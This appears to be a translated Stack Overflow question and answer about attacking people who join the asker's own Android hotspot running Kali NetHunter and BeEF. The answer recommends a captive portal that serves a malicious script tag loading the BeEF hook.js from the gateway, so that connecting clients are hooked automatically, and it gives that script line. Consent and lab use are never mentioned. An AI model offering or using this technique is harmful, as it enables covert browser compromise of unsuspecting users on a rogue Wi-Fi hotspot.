我正在我的android上运行Kali Nethunter,我能够在它上很好地运行牛肉-xss。js钩子在http://gateway:3000/hooks.js上,但我不能使用mitmf来注入,因为我正在运行我自己的android手机热点。有没有什么程序可以让我对连接到我的热点的客户端进行攻击?
发布于 2017-10-09 22:18:54
如果您控制了热点,请在HTML代码中设置一个包含恶意JS的强制Portal。
示例:
<script src=”http://gateway:3000/hook.js” type=”text/javascript”></script>
这样,它们就必须自动与您挂钩;)
https://stackoverflow.com/questions/45116703
复制相似问题